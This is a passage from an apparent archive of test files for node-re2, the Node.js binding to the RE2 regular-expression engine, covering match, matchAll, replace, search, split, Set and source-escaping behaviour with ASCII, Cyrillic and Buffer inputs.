t.equal(re2.match('Hello world, how are you?'), null); re2.lastIndex = 5; t.equal(re2.match('Hello world, how are you?'), null); const re3 = new RE2(/[A-E]/giy); const result3 = re3.match( 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' ); t.deepEqual(result3, ['A', 'B', 'C', 'D', 'E']); }); // hasIndices tests test('test match has indices', t => { const re = new RE2('(aa)(?b)?(?ccc)', 'd'), str1 = '1aabccc2', str2 = '1aaccc2'; t.deepEqual(str1.match(re), re.exec(str1)); t.deepEqual(str2.match(re), re.exec(str2)); }); test('test match has indices global', t => { const re = new RE2('(?a)', 'dg'), result = 'abca'.match(re); t.deepEqual(result, ['a', 'a']); t.notOk('indices' in result); t.notOk('groups' in result); }); test('test match lastIndex', t => { const re = new RE2(/./g), pattern = 'Я123'; re.lastIndex = 2; const result1 = pattern.match(re); t.deepEqual(result1, ['Я', '1', '2', '3']); t.equal(re.lastIndex, 0); const re2 = RE2(re); re2.lastIndex = 2; const result2 = re2.match(Buffer.from(pattern)); t.deepEqual( result2.map(b => b.toString()), ['Я', '1', '2', '3'] ); t.equal(re2.lastIndex, 0); }); uhop-node-re2-2d93a5d/tests/test-matchAll.mjs000066400000000000000000000037261521435504200211030ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests // These tests are copied from MDN: // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll test('test matchAll', t => { const str = 'test1test2'; const re = new RE2(/t(e)(st(\d?))/g); const result = Array.from(str.matchAll(re)); t.equal(result.length, 2); t.equal(result[0].input, str); t.equal(result[0].index, 0); t.equal(result[0].length, 4); t.equal(result[0][0], 'test1'); t.equal(result[0][1], 'e'); t.equal(result[0][2], 'st1'); t.equal(result[0][3], '1'); t.equal(result[1].input, str); t.equal(result[1].index, 5); t.equal(result[1].length, 4); t.equal(result[1][0], 'test2'); t.equal(result[1][1], 'e'); t.equal(result[1][2], 'st2'); t.equal(result[1][3], '2'); }); test('test matchAll iterator', t => { const str = 'table football, foosball'; const re = new RE2('foo[a-z]*', 'g'); const expected = [ {start: 6, finish: 14}, {start: 16, finish: 24} ]; let i = 0; for (const match of str.matchAll(re)) { t.equal(match.index, expected[i].start); t.equal(match.index + match[0].length, expected[i].finish); ++i; } }); test('test matchAll non global', t => { const re = RE2('b'); try { 'abc'.matchAll(re); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } }); test('test matchAll lastIndex', t => { const re = RE2('[a-c]', 'g'); re.lastIndex = 1; const expected = ['b', 'c']; let i = 0; for (const match of 'abc'.matchAll(re)) { t.equal(re.lastIndex, 1); t.equal(match[0], expected[i]); ++i; } }); test('test matchAll empty match', t => { const str = 'foo'; // Matches empty strings, but should not cause an infinite loop const re = new RE2('(?:)', 'g'); const result = Array.from(str.matchAll(re)); t.equal(result.length, str.length + 1); for (let i = 0; i < result.length; ++i) { t.equal(result[i][0], ''); } }); uhop-node-re2-2d93a5d/tests/test-prototype.mjs000066400000000000000000000007101521435504200214110ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('test prototype', t => { t.equal(RE2.prototype.source, '(?:)'); t.equal(RE2.prototype.flags, ''); t.equal(RE2.prototype.global, undefined); t.equal(RE2.prototype.ignoreCase, undefined); t.equal(RE2.prototype.multiline, undefined); t.equal(RE2.prototype.dotAll, undefined); t.equal(RE2.prototype.sticky, undefined); t.equal(RE2.prototype.lastIndex, undefined); }); uhop-node-re2-2d93a5d/tests/test-replace.mjs000066400000000000000000000235541521435504200207720ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests // These tests are copied from MDN: // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace test('test replace string', t => { let re = new RE2(/apples/gi); let result = re.replace('Apples are round, and apples are juicy.', 'oranges'); t.equal(result, 'oranges are round, and oranges are juicy.'); re = new RE2(/xmas/i); result = re.replace('Twas the night before Xmas...', 'Christmas'); t.equal(result, 'Twas the night before Christmas...'); re = new RE2(/(\w+)\s(\w+)/); result = re.replace('John Smith', '$2, $1'); t.equal(result, 'Smith, John'); }); test('test replace functional replacer', t => { function replacer(match, p1, p2, p3, offset, string) { // p1 is nondigits, p2 digits, and p3 non-alphanumerics return [p1, p2, p3].join(' - '); } const re = new RE2(/([^\d]*)(\d*)([^\w]*)/); const result = re.replace('abc12345#$*%', replacer); t.equal(result, 'abc - 12345 - #$*%'); }); test('test replace functional upper to hyphen lower', t => { function upperToHyphenLower(match) { return '-' + match.toLowerCase(); } const re = new RE2(/[A-Z]/g); const result = re.replace('borderTop', upperToHyphenLower); t.equal(result, 'border-top'); }); test('test replace functional convert', t => { function convert(str, p1, offset, s) { return ((p1 - 32) * 5) / 9 + 'C'; } const re = new RE2(/(\d+(?:\.\d*)?)F\b/g); t.equal(re.replace('32F', convert), '0C'); t.equal(re.replace('41F', convert), '5C'); t.equal(re.replace('50F', convert), '10C'); t.equal(re.replace('59F', convert), '15C'); t.equal(re.replace('68F', convert), '20C'); t.equal(re.replace('77F', convert), '25C'); t.equal(re.replace('86F', convert), '30C'); t.equal(re.replace('95F', convert), '35C'); t.equal(re.replace('104F', convert), '40C'); t.equal(re.replace('113F', convert), '45C'); t.equal(re.replace('212F', convert), '100C'); }); test('test replace functional loop', t => { const logs = []; RE2(/(x_*)|(-)/g).replace('x-x_', function (match, p1, p2) { if (p1) { logs.push('on: ' + p1.length); } if (p2) { logs.push('off: 1'); } }); t.deepEqual(logs, ['on: 1', 'off: 1', 'on: 2']); }); test('test replace invalid', t => { const re = RE2(''); try { re.replace( { toString() { throw 'corner1'; } }, '' ); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner1'); } try { re.replace('', { toString() { throw 'corner2'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner2'); } let arg2Stringified = false; try { re.replace( { toString() { throw 'corner1'; } }, { toString() { arg2Stringified = true; throw 'corner2'; } } ); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner1'); t.notOk(arg2Stringified); } try { re.replace('', () => { throw 'corner2'; }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner2'); } try { re.replace('', () => ({ toString() { throw 'corner2'; } })); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner2'); } }); // Unicode tests test('test replace string unicode', t => { let re = new RE2(/яблоки/gi); let result = re.replace('Яблоки красны, яблоки сочны.', 'апельсины'); t.equal(result, 'апельсины красны, апельсины сочны.'); re = new RE2(/иван/i); result = re.replace('Могуч Иван Иванов...', 'Сидор'); t.equal(result, 'Могуч Сидор Иванов...'); re = new RE2(/иван/gi); result = re.replace('Могуч Иван Иванов...', 'Сидор'); t.equal(result, 'Могуч Сидор Сидоров...'); re = new RE2(/([а-яё]+)\s+([а-яё]+)/i); result = re.replace('Пётр Петров', '$2, $1'); t.equal(result, 'Петров, Пётр'); }); test('test replace functional unicode', t => { function replacer(match, offset, string) { t.equal(typeof offset, 'number'); t.equal(typeof string, 'string'); t.ok(offset === 0 || offset === 7); t.equal(string, 'ИВАН и пЁтр'); return match.charAt(0).toUpperCase() + match.substr(1).toLowerCase(); } const re = new RE2(/(?:иван|пётр|сидор)/gi); const result = re.replace('ИВАН и пЁтр', replacer); t.equal(result, 'Иван и Пётр'); }); // Buffer tests test('test replace string buffer', t => { const re = new RE2(/яблоки/gi); let result = re.replace( Buffer.from('Яблоки красны, яблоки сочны.'), 'апельсины' ); t.ok(result instanceof Buffer); t.equal(result.toString(), 'апельсины красны, апельсины сочны.'); result = re.replace( Buffer.from('Яблоки красны, яблоки сочны.'), Buffer.from('апельсины') ); t.ok(result instanceof Buffer); t.equal(result.toString(), 'апельсины красны, апельсины сочны.'); result = re.replace('Яблоки красны, яблоки сочны.', Buffer.from('апельсины')); t.equal(typeof result, 'string'); t.equal(result, 'апельсины красны, апельсины сочны.'); }); test('test replace functional buffer', t => { function replacer(match, offset, string) { t.ok(match instanceof Buffer); t.equal(typeof offset, 'number'); t.equal(typeof string, 'string'); t.ok(offset === 0 || offset === 12); t.equal(string, 'ИВАН и пЁтр'); const s = match.toString(); return s.charAt(0).toUpperCase() + s.substr(1).toLowerCase(); } replacer.useBuffers = true; const re = new RE2(/(?:иван|пётр|сидор)/gi); const result = re.replace('ИВАН и пЁтр', replacer); t.equal(typeof result, 'string'); t.equal(result, 'Иван и Пётр'); }); test('test replace0', t => { const replacer = match => 'MARKER' + match; let re = new RE2(/^/g); let result = re.replace('foo bar', 'MARKER'); t.equal(result, 'MARKERfoo bar'); result = re.replace('foo bar', replacer); t.equal(result, 'MARKERfoo bar'); re = new RE2(/$/g); result = re.replace('foo bar', 'MARKER'); t.equal(result, 'foo barMARKER'); result = re.replace('foo bar', replacer); t.equal(result, 'foo barMARKER'); re = new RE2(/\b/g); result = re.replace('foo bar', 'MARKER'); t.equal(result, 'MARKERfooMARKER MARKERbarMARKER'); result = re.replace('foo bar', replacer); t.equal(result, 'MARKERfooMARKER MARKERbarMARKER'); }); // Sticky tests test('test replace sticky', t => { const re = new RE2(/[A-E]/y); t.equal(re.replace('ABCDEFABCDEF', '!'), '!BCDEFABCDEF'); t.equal(re.replace('ABCDEFABCDEF', '!'), 'A!CDEFABCDEF'); t.equal(re.replace('ABCDEFABCDEF', '!'), 'AB!DEFABCDEF'); t.equal(re.replace('ABCDEFABCDEF', '!'), 'ABC!EFABCDEF'); t.equal(re.replace('ABCDEFABCDEF', '!'), 'ABCD!FABCDEF'); t.equal(re.replace('ABCDEFABCDEF', '!'), 'ABCDEFABCDEF'); t.equal(re.replace('ABCDEFABCDEF', '!'), '!BCDEFABCDEF'); const re2 = new RE2(/[A-E]/gy); t.equal(re2.replace('ABCDEFABCDEF', '!'), '!!!!!FABCDEF'); t.equal(re2.replace('FABCDEFABCDE', '!'), 'FABCDEFABCDE'); re2.lastIndex = 3; t.equal(re2.replace('ABCDEFABCDEF', '!'), '!!!!!FABCDEF'); t.equal(re2.lastIndex, 0); }); // Non-matches test('test replace one non-match', t => { const replacer = (match, capture, offset, string) => { t.equal(typeof offset, 'number'); t.equal(typeof match, 'string'); t.equal(typeof string, 'string'); t.equal(typeof capture, 'undefined'); t.equal(offset, 0); t.equal(string, 'hello '); return ''; }; const re = new RE2(/hello (world)?/); re.replace('hello ', replacer); }); test('test replace two non-matches', t => { const replacer = (match, capture1, capture2, offset, string, groups) => { t.equal(typeof offset, 'number'); t.equal(typeof match, 'string'); t.equal(typeof string, 'string'); t.equal(typeof capture1, 'undefined'); t.equal(typeof capture2, 'undefined'); t.equal(offset, 1); t.equal(match, 'b & y'); t.equal(string, 'ab & yz'); t.equal(typeof groups, 'object'); t.equal(Object.keys(groups).length, 2); t.equal(groups.a, undefined); t.equal(groups.b, undefined); return ''; }; const re = new RE2(/b(?1)? & (?2)?y/); const result = re.replace('ab & yz', replacer); t.equal(result, 'az'); }); test('test replace group simple', t => { const re = new RE2(/(2)/); let result = re.replace('123', '$0'); t.equal(result, '1$03'); result = re.replace('123', '$1'); t.equal(result, '123'); result = re.replace('123', '$2'); t.equal(result, '1$23'); result = re.replace('123', '$00'); t.equal(result, '1$003'); result = re.replace('123', '$01'); t.equal(result, '123'); result = re.replace('123', '$02'); t.equal(result, '1$023'); }); test('test replace group cases', t => { let re = new RE2(/(test)/g); let result = re.replace('123', '$1$20'); t.equal(result, '123'); re = new RE2(/(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)/g); result = re.replace('abcdefghijklmnopqrstuvwxyz123', '$10$20'); t.equal(result, 'jb0wo0123'); re = new RE2(/(.)(.)(.)(.)(.)/g); result = re.replace('abcdefghijklmnopqrstuvwxyz123', '$10$20'); t.equal(result, 'a0b0f0g0k0l0p0q0u0v0z123'); re = new RE2( /(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)(.)/g ); result = re.replace('abcdefghijklmnopqrstuvwxyz123', '$10$20'); t.equal(result, 'jtvwxyz123'); re = new RE2(/abcd/g); result = re.replace('abcd123', '$1$2'); t.equal(result, '$1$2123'); }); test('test replace empty replacement', t => { t.equal('ac', 'abc'.replace(RE2('b'), '')); }); uhop-node-re2-2d93a5d/tests/test-search.mjs000066400000000000000000000036051521435504200206170ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('test search', t => { const str = 'Total is 42 units.'; let re = new RE2(/\d+/i); let result = re.search(str); t.equal(result, 9); re = new RE2('\\b[a-z]+\\b'); result = re.search(str); t.equal(result, 6); re = new RE2('\\b\\w+\\b'); result = re.search(str); t.equal(result, 0); re = new RE2('z', 'gm'); result = re.search(str); t.equal(result, -1); }); test('test search invalid', t => { const re = RE2(''); try { re.search({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner'); } }); test('test search unicode', t => { const str = 'Всего 42 штуки.'; let re = new RE2(/\d+/i); let result = re.search(str); t.equal(result, 6); re = new RE2('\\s[а-я]+'); result = re.search(str); t.equal(result, 8); re = new RE2('[а-яА-Я]+'); result = re.search(str); t.equal(result, 0); re = new RE2('z', 'gm'); result = re.search(str); t.equal(result, -1); }); test('test search buffer', t => { const buf = Buffer.from('Всего 42 штуки.'); let re = new RE2(/\d+/i); let result = re.search(buf); t.equal(result, 11); re = new RE2('\\s[а-я]+'); result = re.search(buf); t.equal(result, 13); re = new RE2('[а-яА-Я]+'); result = re.search(buf); t.equal(result, 0); re = new RE2('z', 'gm'); result = re.search(buf); t.equal(result, -1); }); test('test search sticky', t => { const str = 'Total is 42 units.'; let re = new RE2(/\d+/y); let result = re.search(str); t.equal(result, -1); re = new RE2('\\b[a-z]+\\b', 'y'); result = re.search(str); t.equal(result, -1); re = new RE2('\\b\\w+\\b', 'y'); result = re.search(str); t.equal(result, 0); re = new RE2('z', 'gmy'); result = re.search(str); t.equal(result, -1); }); uhop-node-re2-2d93a5d/tests/test-set.mjs000066400000000000000000000121551521435504200201450ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; test('test set basics', t => { const set = new RE2.Set(['foo', 'bar'], 'im'); t.ok(set instanceof Object); t.equal(typeof set.match, 'function'); t.equal(set.size, 2); t.equal(set.flags, 'imu'); t.equal(set.anchor, 'unanchored'); t.ok(Array.isArray(set.sources)); t.equal(set.sources[0], 'foo'); t.equal(set.source, 'foo|bar'); t.equal(set.toString(), '/foo|bar/imu'); }); test('test set matching', t => { const set = new RE2.Set(['foo', 'bar'], 'i'); const result = set.match('xxFOOxxbar'); t.equal(result.length, 2); result.sort((a, b) => a - b); t.deepEqual(result, [0, 1]); t.equal(set.test('nothing here'), false); t.equal(set.match('nothing here').length, 0); }); test('test set anchors', t => { const start = new RE2.Set(['abc'], {anchor: 'start'}); const both = new RE2.Set(['abc'], {anchor: 'both'}); t.equal(start.test('zabc'), false); t.equal(start.test('abc'), true); t.ok(both.test('abc')); t.notOk(both.test('abc1')); }); test('test set iterable', t => { function* gen() { yield 'cat'; yield 'dog'; } const set = new RE2.Set(gen()); t.equal(set.size, 2); const result = set.match('hotdog'); t.equal(result.length, 1); t.equal(result[0], 1); }); test('test set flags override', t => { const set = new RE2.Set([/abc/], 'i'); t.ok(set.test('ABC')); t.equal(set.flags, 'iu'); }); test('test set unicode inputs', t => { const patterns = ['🙂', '猫', '🍣+', '東京', '\\p{Hiragana}+']; const set = new RE2.Set(patterns, 'u'); const input = 'prefix🙂と猫と🍣🍣を食べる東京ひらがな'; const result = set.match(input); t.equal(result.length, 5); t.notEqual(result.indexOf(0), -1); t.notEqual(result.indexOf(1), -1); t.notEqual(result.indexOf(2), -1); t.notEqual(result.indexOf(3), -1); t.notEqual(result.indexOf(4), -1); const buf = Buffer.from(input); const bufResult = set.match(buf); t.equal(bufResult.length, 5); t.ok(set.test(buf)); const miss = new RE2.Set(['🚀', '漢字'], 'u'); t.notOk(miss.test(input)); t.equal(miss.match(input).length, 0); }); test('test set empty and duplicates', t => { const emptySet = new RE2.Set([]); t.equal(emptySet.size, 0); t.equal(emptySet.test('anything'), false); const dup = new RE2.Set(['foo', 'foo', 'bar']); const r = dup.match('foo bar'); // two foo entries plus bar t.equal(r.length, 3); r.sort((a, b) => a - b); t.deepEqual(r, [0, 1, 2]); }); test('test set inconsistent flags', t => { try { const set = new RE2.Set([/abc/i, /abc/m]); t.fail(); } catch (e) { t.ok(e instanceof TypeError); } }); test('test set invalid flags char', t => { try { const set = new RE2.Set(['foo'], 'q'); t.fail(); } catch (e) { t.ok(e instanceof TypeError); } }); test('test set anchor option with flags', t => { const set = new RE2.Set(['^foo', '^bar'], 'i', {anchor: 'both'}); t.equal(set.anchor, 'both'); t.equal(set.match('foo').length, 1); t.equal(set.match('xfoo').length, 0); }); test('test set invalid', t => { try { const set = new RE2.Set([null]); t.fail(); } catch (e) { t.ok(e instanceof TypeError); } }); test('test set maxMem default', t => { const set = new RE2.Set(['foo', 'bar']); t.equal(set.maxMem, 8 << 20); // RE2's kDefaultMaxMem is 8 MiB }); test('test set maxMem accepted and exposed', t => { const set = new RE2.Set(['foo', 'bar'], {maxMem: 64 * 1024 * 1024}); t.equal(set.maxMem, 64 * 1024 * 1024); t.ok(set.test('foo bar')); }); test('test set maxMem with flags arg', t => { const set = new RE2.Set(['foo'], 'i', { maxMem: 16 * 1024 * 1024, anchor: 'start' }); t.equal(set.maxMem, 16 * 1024 * 1024); t.equal(set.anchor, 'start'); }); test('test set maxMem rejects invalid values', t => { const bad = [0, -1, 1.5, 'huge', NaN, Infinity, 2 ** 53]; for (const v of bad) { try { new RE2.Set(['foo'], {maxMem: v}); t.fail(`accepted ${v}`); } catch (e) { t.ok(e instanceof TypeError, `rejected ${v}`); } } }); test('test set maxMem raises compile ceiling', t => { // Random-prefix 8-char tokens — no shared prefix structure for the DFA // to factor. At N=14000 the default 8 MiB budget rejects compilation; // bumping maxMem to 64 MiB lets it through. const alpha = 'abcdefghijklmnopqrstuvwxyz'; let seed = 0xc0ffee; const rand = () => { seed = (seed + 0x6d2b79f5) | 0; let t = seed; t = Math.imul(t ^ (t >>> 15), t | 1); t ^= t + Math.imul(t ^ (t >>> 7), t | 61); return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; const N = 14000; const patterns = []; for (let i = 0; i < N; ++i) { let s = ''; for (let k = 0; k < 8; ++k) s += alpha[(rand() * 26) | 0]; patterns.push(s); } let defaultFailed = false; try { new RE2.Set(patterns); } catch (e) { defaultFailed = true; } t.ok( defaultFailed, 'default 8 MiB budget rejects N=14000 random-prefix patterns' ); const bigger = new RE2.Set(patterns, {maxMem: 64 * 1024 * 1024}); t.equal(bigger.size, N); t.equal(bigger.maxMem, 64 * 1024 * 1024); t.ok(bigger.test(patterns[0])); }); uhop-node-re2-2d93a5d/tests/test-source.mjs000066400000000000000000000032501521435504200206460ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('test source identity', t => { let re = new RE2('a\\cM\\u34\\u1234\\u10abcdz'); t.equal(re.source, 'a\\cM\\u34\\u1234\\u10abcdz'); re = new RE2('a\\cM\\u34\\u1234\\u{10abcd}z'); t.equal(re.source, 'a\\cM\\u34\\u1234\\u{10abcd}z'); re = new RE2(''); t.equal(re.source, '(?:)'); re = new RE2('foo/bar'); t.equal(re.source, 'foo\\/bar'); re = new RE2('foo\\/bar'); t.equal(re.source, 'foo\\/bar'); re = new RE2('(?bar)', 'u'); t.equal(re.source, '(?bar)'); }); test('test source translation', t => { let re = new RE2('a\\cM\\u34\\u1234\\u10abcdz'); t.equal(re.internalSource, 'a\\x0D\\x{34}\\x{1234}\\x{10ab}cdz'); re = new RE2('a\\cM\\u34\\u1234\\u{10abcd}z'); t.equal(re.internalSource, 'a\\x0D\\x{34}\\x{1234}\\x{10abcd}z'); re = new RE2(''); t.equal(re.internalSource, '(?:)'); re = new RE2('foo/bar'); t.equal(re.internalSource, 'foo\\/bar'); re = new RE2('foo\\/bar'); t.equal(re.internalSource, 'foo\\/bar'); re = new RE2('(?bar)', 'u'); t.equal(re.internalSource, '(?Pbar)'); re = new RE2('foo\\/bar', 'm'); t.equal(re.internalSource, '(?m)foo\\/bar'); }); test('test source backslashes', t => { const compare = (source, expected) => { const s = new RE2(source).source; t.equal(s, expected); }; compare('a/b', 'a\\/b'); compare('a\/b', 'a\\/b'); compare('a\\/b', 'a\\/b'); compare('a\\\/b', 'a\\/b'); compare('a\\\\/b', 'a\\\\\\/b'); compare('a\\\\\/b', 'a\\\\\\/b'); compare('/a/b', '\\/a\\/b'); compare('\\/a/b', '\\/a\\/b'); compare('\\/a\\/b', '\\/a\\/b'); compare('\\/a\\\\/b', '\\/a\\\\\\/b'); }); uhop-node-re2-2d93a5d/tests/test-split.mjs000066400000000000000000000140441521435504200205040ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // utilities const verifyBuffer = (bufArray, t) => bufArray.map(x => { t.ok(x instanceof Buffer); return x.toString(); }); // tests // These tests are copied from MDN: // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split test('test split', t => { let re = new RE2(/\s+/); let result = re.split('Oh brave new world that has such people in it.'); t.deepEqual(result, [ 'Oh', 'brave', 'new', 'world', 'that', 'has', 'such', 'people', 'in', 'it.' ]); re = new RE2(','); result = re.split('Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec'); t.deepEqual(result, [ 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' ]); re = new RE2(','); result = re.split(',Jan,Feb,Mar,Apr,May,Jun,,Jul,Aug,Sep,Oct,Nov,Dec,'); t.deepEqual(result, [ '', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', '', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec', '' ]); re = new RE2(/\s*;\s*/); result = re.split( 'Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ' ); t.deepEqual(result, [ 'Harry Trump', 'Fred Barney', 'Helen Rigby', 'Bill Abel', 'Chris Hand ' ]); re = new RE2(/\s+/); result = re.split('Hello World. How are you doing?', 3); t.deepEqual(result, ['Hello', 'World.', 'How']); re = new RE2(/(\d)/); result = re.split('Hello 1 word. Sentence number 2.'); t.deepEqual(result, ['Hello ', '1', ' word. Sentence number ', '2', '.']); t.deepEqual( RE2(/[x-z]*/) .split('asdfghjkl') .reverse() .join(''), 'lkjhgfdsa' ); }); test('test_splitInvalid', t => { const re = RE2(''); try { re.split({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner'); } }); test('test_cornerCases', t => { const re = new RE2(/1/); const result = re.split('23456'); t.deepEqual(result, ['23456']); }); // Unicode tests test('test split unicode', t => { let re = new RE2(/\s+/); let result = re.split('Она не понимает, что этим убивает меня.'); t.deepEqual(result, [ 'Она', 'не', 'понимает,', 'что', 'этим', 'убивает', 'меня.' ]); re = new RE2(','); result = re.split('Пн,Вт,Ср,Чт,Пт,Сб,Вс'); t.deepEqual(result, ['Пн', 'Вт', 'Ср', 'Чт', 'Пт', 'Сб', 'Вс']); re = new RE2(/\s*;\s*/); result = re.split('Ваня Иванов ;Петро Петренко; Саша Машин ; Маша Сашина'); t.deepEqual(result, [ 'Ваня Иванов', 'Петро Петренко', 'Саша Машин', 'Маша Сашина' ]); re = new RE2(/\s+/); result = re.split('Привет мир. Как дела?', 3); t.deepEqual(result, ['Привет', 'мир.', 'Как']); re = new RE2(/(\d)/); result = re.split('Привет 1 слово. Предложение номер 2.'); t.deepEqual(result, ['Привет ', '1', ' слово. Предложение номер ', '2', '.']); t.deepEqual( RE2(/[э-я]*/) .split('фывапролд') .reverse() .join(''), 'длорпавыф' ); }); // Buffer tests test('test split buffer', t => { let re = new RE2(/\s+/); let result = re.split(Buffer.from('Она не понимает, что этим убивает меня.')); t.deepEqual(verifyBuffer(result, t), [ 'Она', 'не', 'понимает,', 'что', 'этим', 'убивает', 'меня.' ]); re = new RE2(','); result = re.split(Buffer.from('Пн,Вт,Ср,Чт,Пт,Сб,Вс')); t.deepEqual(verifyBuffer(result, t), [ 'Пн', 'Вт', 'Ср', 'Чт', 'Пт', 'Сб', 'Вс' ]); re = new RE2(/\s*;\s*/); result = re.split( Buffer.from('Ваня Иванов ;Петро Петренко; Саша Машин ; Маша Сашина') ); t.deepEqual(verifyBuffer(result, t), [ 'Ваня Иванов', 'Петро Петренко', 'Саша Машин', 'Маша Сашина' ]); re = new RE2(/\s+/); result = re.split(Buffer.from('Привет мир. Как дела?'), 3); t.deepEqual(verifyBuffer(result, t), ['Привет', 'мир.', 'Как']); re = new RE2(/(\d)/); result = re.split(Buffer.from('Привет 1 слово. Предложение номер 2.')); t.deepEqual(verifyBuffer(result, t), [ 'Привет ', '1', ' слово. Предложение номер ', '2', '.' ]); t.deepEqual( RE2(/[э-я]*/) .split(Buffer.from('фывапролд')) .reverse() .join(''), 'длорпавыф' ); }); test('test split alternation groups', t => { const re = new RE2(/(a)|(b)/); const result = re.split('xaxbx'); t.deepEqual(result, ['x', 'a', undefined, 'x', undefined, 'b', 'x']); const re2 = new RE2(/(a)|(b)/); const bufResult = re2.split(Buffer.from('xaxbx')); t.equal(bufResult.length, 7); t.ok(bufResult[0] instanceof Buffer); t.equal(bufResult[0].toString(), 'x'); t.ok(bufResult[1] instanceof Buffer); t.equal(bufResult[1].toString(), 'a'); t.equal(bufResult[2], undefined); t.equal(bufResult[4], undefined); t.ok(bufResult[5] instanceof Buffer); t.equal(bufResult[5].toString(), 'b'); }); // Sticky tests test('test split sticky', t => { const re = new RE2(/\s+/y); // sticky is ignored const result = re.split('Oh brave new world that has such people in it.'); t.deepEqual(result, [ 'Oh', 'brave', 'new', 'world', 'that', 'has', 'such', 'people', 'in', 'it.' ]); const result2 = re.split(' Oh brave new world that has such people in it.'); t.deepEqual(result2, [ '', 'Oh', 'brave', 'new', 'world', 'that', 'has', 'such', 'people', 'in', 'it.' ]); }); uhop-node-re2-2d93a5d/tests/test-symbols.mjs000066400000000000000000000053131521435504200210400ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('test match symbol', t => { if (typeof Symbol == 'undefined' || !Symbol.match) return; const str = 'For more information, see Chapter 3.4.5.1'; const re = new RE2(/(chapter \d+(\.\d)*)/i); const result = str.match(re); t.equal(result.input, str); t.equal(result.index, 26); t.equal(result.length, 3); t.equal(result[0], 'Chapter 3.4.5.1'); t.equal(result[1], 'Chapter 3.4.5.1'); t.equal(result[2], '.1'); }); test('test search symbol', t => { if (typeof Symbol == 'undefined' || !Symbol.search) return; const str = 'Total is 42 units.'; let re = new RE2(/\d+/i); let result = str.search(re); t.equal(result, 9); re = new RE2('\\b[a-z]+\\b'); result = str.search(re); t.equal(result, 6); re = new RE2('\\b\\w+\\b'); result = str.search(re); t.equal(result, 0); re = new RE2('z', 'gm'); result = str.search(re); t.equal(result, -1); }); test('test replace symbol', t => { if (typeof Symbol == 'undefined' || !Symbol.replace) return; let re = new RE2(/apples/gi); let result = 'Apples are round, and apples are juicy.'.replace(re, 'oranges'); t.equal(result, 'oranges are round, and oranges are juicy.'); re = new RE2(/xmas/i); result = 'Twas the night before Xmas...'.replace(re, 'Christmas'); t.equal(result, 'Twas the night before Christmas...'); re = new RE2(/(\w+)\s(\w+)/); result = 'John Smith'.replace(re, '$2, $1'); t.equal(result, 'Smith, John'); }); test('test split symbol', t => { if (typeof Symbol == 'undefined' || !Symbol.split) return; let re = new RE2(/\s+/); let result = 'Oh brave new world that has such people in it.'.split(re); t.deepEqual(result, [ 'Oh', 'brave', 'new', 'world', 'that', 'has', 'such', 'people', 'in', 'it.' ]); re = new RE2(','); result = 'Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec'.split(re); t.deepEqual(result, [ 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' ]); re = new RE2(/\s*;\s*/); result = 'Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand '.split(re); t.deepEqual(result, [ 'Harry Trump', 'Fred Barney', 'Helen Rigby', 'Bill Abel', 'Chris Hand ' ]); re = new RE2(/\s+/); result = 'Hello World. How are you doing?'.split(re, 3); t.deepEqual(result, ['Hello', 'World.', 'How']); re = new RE2(/(\d)/); result = 'Hello 1 word. Sentence number 2.'.split(re); t.deepEqual(result, ['Hello ', '1', ' word. Sentence number ', '2', '.']); t.equal( 'asdfghjkl' .split(RE2(/[x-z]*/)) .reverse() .join(''), 'lkjhgfdsa' ); }); uhop-node-re2-2d93a5d/tests/test-test.mjs000066400000000000000000000115311521435504200203260ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests // These tests are copied from MDN: // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test test('test test from exec', t => { let re = new RE2('quick\\s(brown).+?(jumps)', 'i'); t.equal(re.test('The Quick Brown Fox Jumps Over The Lazy Dog'), true); t.equal(re.test('tHE qUICK bROWN fOX jUMPS oVER tHE lAZY dOG'), true); t.equal(re.test('the quick brown fox jumps over the lazy dog'), true); t.equal(re.test('THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'), true); t.equal(re.test('THE KWIK BROWN FOX JUMPS OVER THE LAZY DOG'), false); re = new RE2('ab*', 'g'); t.ok(re.test('abbcdefabh')); t.notOk(re.test('qwerty')); re = new RE2('(hello \\S+)'); t.ok(re.test('This is a 